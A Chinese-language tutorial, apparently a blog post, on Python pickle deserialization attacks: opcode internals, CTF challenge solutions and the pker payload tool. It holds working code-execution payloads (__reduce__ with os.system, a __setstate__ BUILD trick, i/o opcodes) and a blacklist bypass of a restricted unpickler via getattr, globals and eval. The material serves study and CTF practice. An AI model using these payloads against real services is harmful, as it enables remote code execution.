pickle與序列化和反序列化
模組 pickle 實現了對一個 Python 物件結構的二進位制序列化和反序列化。 "pickling" 是將 Python 物件及其所擁有的層次結構轉化為一個位元組流的過程,而 "unpickling" 是相反的操作,會將(來自一個 binary file 或者 bytes-like object 的)位元組流轉化回一個物件層次結構。 pickling(和 unpickling)也被稱為“序列化”, “編組” 或者 “平面化”。而為了避免混亂,此處採用術語 “封存 (pickling)” 和 “解封 (unpickling)”。
-
pickle.dumps(object)
:用於序列化一個物件 -
pickle.loads(picklestring)
:用於反序列化資料,實現一個物件的構建
測試程式碼:
#python3.7
import pickle
class test_1():
def __init__(self):
self.name = 'LH'
self.age = 20
class test_2():
name = 'LH'
age = 20
test1 = test_1()
a_1 = pickle.dumps(test1)
test2 = test_2()
a_2 = pickle.dumps(test2)
print("test_1序列化結果:")
print(a_1)
print("test_2序列化結果:")
print(a_2)
b_1 = pickle.loads(a_1)
b_2 = pickle.loads(a_2)
print("test_1反序列化結果:")
print(b_1.name)
print(b_1.age)
print("test_2反序列化結果:")
print(b_2.name)
print(b_2.age)
執行結果:
可以看到序列化結果長短不同,這是因為待處理的類裡面有無__init__
造成的,test_2類沒有使用__init__
所以序列化結果並沒有涉及到name
和age
。但是反序列化之後仍然可以得到對應的屬性值。
另外:如果在反序列化生成一個物件以前刪除了這個物件對應的類,那麼我們在反序列化的過程中因為物件在當前的執行環境中沒有找到這個類就會報錯,從而反序列化失敗。
__reduce__()
類似於PHP中的__wakeup__
魔法函式。如果當__reduce__
返回值為一個元組(2到5個引數),第一個引數是可呼叫(callable)的物件,第二個是該物件所需的引數元組。在這種情況下,反序列化時會自動執行__reduce__裡面的操作。
測試程式碼:
#python3.7
import os
import pickle
class A():
def __reduce__(self):
cmd = "whoami"
return (os.system,(cmd,))
a=A()
str=pickle.dumps(a)
pickle.loads(str)
執行結果:
現在把關注點放在序列化資料,以及如何根據序列化資料實現反序列化。
指定protocol
pickle.dumps(object)
在生成序列化資料時可以指定protocol引數,其取值包括:
- 當protocol=0時,序列化之後的資料流是可讀的(ASCII碼)
- 當protocol=3時,為python3的預設protocol值,序列化之後的資料流是hex碼
更改程式碼:
#python3.7
import os
import pickle
class A():
def __reduce__(self):
cmd = "whoami"
return (os.system,(cmd,))
a=A()
str=pickle.dumps(a,protocol=0)
print(str)
print(str.decode()) #將byte型別轉化為string型別
執行結果:
不瞭解pickle
的相關指令的話,以上序列化結果根本看不懂:
pickle
相關的指令碼與作用:
這裡注意到R
操作碼,執行了可呼叫物件,可知它其實就是__reduce__()
的底層實現。
其他指令可以在python的lib檔案下的pickle.py檢視:
對執行結果分解:
涉及到指令碼,可以把pickle理解成一門棧語言:
- pickle解析依靠Pickle Virtual Machine (PVM)進行。
- PVM涉及到三個部分:1. 解析引擎 2. 棧 3. 記憶體:
- 解析引擎:從流中讀取指令碼和引數,並對其進行解釋處理。重複這個動作,直到遇到
.
停止。最終留在棧頂的值將被作為反序列化物件返回 - 棧:由Python的list實現,被用來臨時儲存資料、引數以及物件
- memo列表:由Python的dict實現,為PVM的生命週期提供儲存資料的作用,以便後來的使用
- 解析引擎:從流中讀取指令碼和引數,並對其進行解釋處理。重複這個動作,直到遇到
結合上面的指令碼與作用,可以分析出具體的過程。
具體過程
首先是:
cnt
system
也即引入nt.system
,這裡的nt
是模組os
的名稱name
,os.name
在不同環境對應的值不同:
Windows下為nt
:
Linux下為posix
:
posix
是 Portable Operating System Interface of UNIX
(可移植作業系統介面)的縮寫。Linux 和 Mac OS 均會返回該值。
然後再執行p0
,將棧頂內容寫入到列表中,由於是列表第一個資料因此索引為0:
接下去執行(Vwhoami
,(
是將一個標誌位MASK壓入棧中,Vwhoami
就是將字串“whoami”壓入棧中:
接下去執行p1
,將棧頂資料"whoami"寫入列表,索引為1:
再執行tp2
,首先棧彈出從棧頂到MASK標誌位的資料,將其轉化為元組型別,然後再壓入棧。最後p2
將棧頂資料(也即元組)寫入列表,索引為2:
再執行Rp3
,先將之前壓入棧中的元組和可呼叫物件全部彈出然後執行,這裡也即執行nt.system("whoami")
,接著將結果壓入棧。最後p3
將棧頂資料(也即執行結果)寫入列表,索引為3:
總的過程如下:
由於memo列表只是起到一個儲存資料的作用,如果目的只是想要執行nt.system("whoami")
,可以將原序列化資料中有關寫入列表的操作給去除。也即原b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
可簡化為b'cnt\nsystem\n(Vwhoami\ntR.'
,仍然是可以達到執行目的的:
pickletools模組
官方說明:
此模組包含與 pickle 模組內部細節有關的多個常量,一些關於具體實現的詳細註釋,以及一些能夠分析封存資料的有用函式。 此模組的內容對需要操作 pickle 的 Python 核心開發者來說很有用處;pickle 的一般使用者則可能會感覺 pickletools 模組與他們無關。
相關介面:
-
pickletools.dis(picklestring)
:可以更方便的看到每一步的操作原理。如上面的例子執行該方法:
pickletools.optimize(picklestring)
:
消除未使用的 PUT 操作碼之後返回一個新的等效 pickle 字串。 優化後的 pickle 將更為簡短,耗費更為的傳輸時間,要求更少的儲存空間並能更高效地解封。也即上面分析能夠經過簡化的過程:
測試程式碼:
#python3.7
import pickle
import pickle
import pickletools
class person():
def __init__(self, name, age):
self.name = name
self.age = age
me = person('LH', 20)
str = pickle.dumps(me)
print(str)
pickletools.dis(str)
執行結果:
b'\x80\x03c__main__\nperson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x02\x00\x00\x00LHq\x04X\x03\x00\x00\x00ageq\x05K\x14ub.'
0: \x80 PROTO 3
2: c GLOBAL '__main__ person'
19: q BINPUT 0
21: ) EMPTY_TUPLE
22: \x81 NEWOBJ
23: q BINPUT 1
25: } EMPTY_DICT
26: q BINPUT 2
28: ( MARK
29: X BINUNICODE 'name'
38: q BINPUT 3
40: X BINUNICODE 'LH'
47: q BINPUT 4
49: X BINUNICODE 'age'
57: q BINPUT 5
59: K BININT1 20
61: u SETITEMS (MARK at 28)
62: b BUILD
63: . STOP
highest protocol among opcodes = 2
對str
使用pickle.optimize
進行簡化:
>>>str=b'\x80\x03c__main__\nperson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x02\x00\x00\x00LHq\x04X\x03\x00\x00\x00ageq\x05K\x14ub.'
>>>pickletools.optimize(str)
>>>b'\x80\x03c__main__\nperson\n)\x81}(X\x04\x00\x00\x00nameX\x02\x00\x00\x00LHX\x03\x00\x00\x00ageK\x14ub.'
應用
修改剛才原始碼:
#python3.7
import base64
import pickle
import otherpeople
class person():
def __init__(self, name, age):
self.name = name
self.age = age
me=pickle.loads(base64.b64decode(input()))
if otherpeople.name==me.name and otherpeople.age==me.age:
print("flag")
else:
print("hack")
同目錄下新建otherpeople資料夾,寫入__init.py__用於新建一個模板:
name = 'Dr.liu'
age = 21
要求我們輸入待反序列化的資料,使得反序列化之後為person
類的一個物件me
,如果me.name
與me.age
分別等於otherpeople
模板的name
和age
,才能得到flag。如果把剛才的序列化資料中的LH
和20
改成模板中的Dr.liu
和21
則能實現:
第二個hex碼對應是字串的長度,十六進位制的14對應為十進位制20
但是此時我們並不知道otherpeople
模板的內容,所以並不能實現。
根據前面的例子可知,引用模組在pickle
中對應的操作碼是c
,所以可以根據其書寫規則得到otherpeople.name
和otherpeople.age
對應的序列化資料是cotherpeople\nname\n
和cotherpeople\nage\n
,將原資料進行替換:
再對替換的結果進行base64編碼:
>>>import base64
>>>base64.b64encode(b'\x80\x03c__main__\nperson\n)\x81}(X\x04\x00\x00\x00namecotherpeople\nname\nX\x03\x00\x00\x00agecotherpeople\nage\nub.')
>>>b'gANjX19tYWluX18KcGVyc29uCimBfShYBAAAAG5hbWVjb3RoZXJwZW9wbGUKbmFtZQpYAwAAAGFnZWNvdGhlcnBlb3BsZQphZ2UKdWIu'
驗證:
限制module
pickle
原始碼中,c指令是基於find_class
這個方法實現的,然而find_class
可以被出題人重寫。如果出題人只允許c指令包含__main__
這一個module、不允許匯入其他module,也即剛才的cotherpeople
被限制了。此時又該如何繞過呢?
回到剛才的測試程式碼的執行結果,發現pickle
是構建person
的過程是完全可視的,而且是在__main__
這個module進行構建的:
那麼就可以根據pickle語法,插入一段資料,這段資料用於在__main__
中構建一個otherpeople
物件,此時otherpeople.name
和otherpeople.age
也是可控的,這樣我們就可以覆蓋掉原本未知的Dr.liu
和21
,只需確保和person.name
和person.age
相等即可。
先放出示意圖:
解釋一下惡意插入的序列化資料:
b'c__main__\notherpeople\n}(Vname\nVsunxiaokong\nVage\nK\x16ub0'
1、首先類比構建person
物件時的語法:c__main__\notherpeople\n}
2、接下去(
操作碼錶示將壓入一個元組到棧中,V
操作碼錶示跟在它後面的資料是一個字串,K
操作碼錶示跟在它後面的資料是一個整型數字,Vname\nVsunxiaokong\nVage\nK\x16
表示的元組為:{'name':'sunxiaokong','age':22}
3、然後u
操作碼規定了即將構建的物件的界限,b
操作碼用於構造物件
4、0
操作碼將該物件(棧頂元素)從棧彈出
經過上面的操作此時otherpeople.name='sunxiaokong'
、otherpeople.age=22
,因此後半段person
中相應的屬性也應該改成相同的值:
X\x04\x00\x00\x00nameX\x0b\x00\x00\x00sunxiaokongX\x03\x00\x00\x00ageK\x16
驗證:
>>>base64.b64encode(b'\x80\x03c__main__\notherpeople\n}(Vname\nVsunxiaokong\nVage\nK\x16ub0c__main__\nperson\n)\x81}(X\x04\x00\x00\x00nameX\x0b\x00\x00\x00sunxiaokongX\x03\x00\x00\x00ageK\x16ub.')
b'gANjX19tYWluX18Kb3RoZXJwZW9wbGUKfShWbmFtZQpWc3VueGlhb2tvbmcKVmFnZQpLFnViMGNfX21haW5fXwpwZXJzb24KKYF9KFgEAAAAbmFtZVgLAAAAc3VueGlhb2tvbmdYAwAAAGFnZUsWdWIu'
以上思路也是“2020高校戰疫”webtmp的解題思路
限制__reduce()__
如果限制__reduce()__
,需要另外一個知識點:
關注操作碼b
:
跟進到load_build
函式:
def load_build(self):
stack = self.stack
state = stack.pop()
inst = stack[-1]
setstate = getattr(inst, "__setstate__", None) #獲取inst的__setstate__方法
if setstate is not None:
setstate(state)
return
slotstate = None
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
if state:
inst_dict = inst.__dict__
intern = sys.intern
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
dispatch[BUILD[0]] = load_build
把當前棧棧頂資料記為state
,然後彈出,再把接下去的棧頂資料記為inst
關注到第七行的setstate(state)
,這意味著可以RCE,但是inst
原先是沒有__setstate__
這個方法的。可以利用{‘__setstate__
’: os.system
}來BUILD這個物件,那麼現在inst
的__setstate__
方法就變成了os.system
;另外再確保state
也即一開始的棧頂元素為calc.exe
,則會執行setstate(“calc.exe”)
,也即os.system("calc.exe")
。
上面的操作對應的payload如下:
b'\x80\x03c__main__\nA\n)\x81}(V__setstate__\ncos\nsystem\nubVcalc.exe\nb.'
驗證程式碼:
import os
import pickle
import pickletools
class A():
#balabala·····
str=b'\x80\x03c__main__\nA\n)\x81}(V__setstate__\ncos\nsystem\nubVcalc.exe\nb.'
pickle.loads(str)
除了操作碼b
可以利用外,還有i
和o
操作碼可以實現RCE:
b'(S\'whoami\'\nios\nsystem\n.'
b'(cos\nsystem\nS\'whoami\'\no.'
payload的構造可以參照對應的作用:
工具pker
藉助該工具,可以省去人工構造payload,根據自己的相關需求可以自動生成相應的序列化資料。
pker主要用到GLOBAL、INST、OBJ三種特殊的函式以及一些必要的轉換方式:
- GLOBAL :用來獲取module下的一個全域性物件,對應操作碼
c
,如GLOBAL('os', 'system')
- INST :建立併入棧一個物件(可以執行一個函式),對應操作碼
i
,如INST('os','system','ls')
,輸入規則按照:module,callable,para
- OBJ :建立併入棧一個物件(傳入的第一個引數為callable,可以執行一個函式),對應操作碼
o
。 如OBJ(GLOBAL('os','system'),'ls')
,輸入規則按照:callable,para
- xxx(xx,...): 使用引數xx呼叫函式xxx,對應操作碼
R
- li[0]=321或globals_dic['local_var']='hello' :更新列表或字典的某項的值,對應操作碼
s
- xx.attr=123:對xx物件進行屬性設定,對應操作碼
b
- return :出棧,對應操作碼
0
使用例子:
1、用於執行os.system("whoami")
:
s='whoami'
system = GLOBAL('os', 'system')
system(s) # b'R'呼叫 return
2、全域性變數覆蓋舉例:
secret=GLOBAL('__main__', 'secret')
secret.name='1'
secret.category='2'
以剛剛上面那道只允許引入__main__
模組的變數覆蓋為例,對應的pker程式碼:
otherpeople = GLOBAL('__main__','otherpeople')
otherpeople.name = 'sunxiaokong'
otherpeople.age = 22
new = INST('__main__', 'person','sunxiaokong',20)
return new
Code-Breaking picklecode
import pickle
import base64
import builtins
import io
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
restricted_loads(base64.b64decode(input()))
程式碼的主要內容就是限制了反序列化的內容,規定了我們只能引用builtins
這個模組,而且禁止了裡面的一些函式。但是沒有禁止getattr
這個方法,因此我們可以構造builtins.getattr(builtins,’eval’)
的方法來構造eval
函式。pickle不能直接獲取builtins
一級模組,但可以通過builtins.globals()
獲得builtins
;這樣就可以執行任意程式碼了。
用pker構造payload:
#先借助builtins.globals獲取builtins模組
getattr=GLOBAL('builtins','getattr')
dict=GLOBAL('builtins','dict')
dict_get=getattr(dict,'get')
glo_dic=GLOBAL('builtins','globals')()
builtins=dict_get(glo_dic,'builtins')
#再用builtins模組獲取eval函式
eval=getattr(builtins,'eval')
eval('ls')
return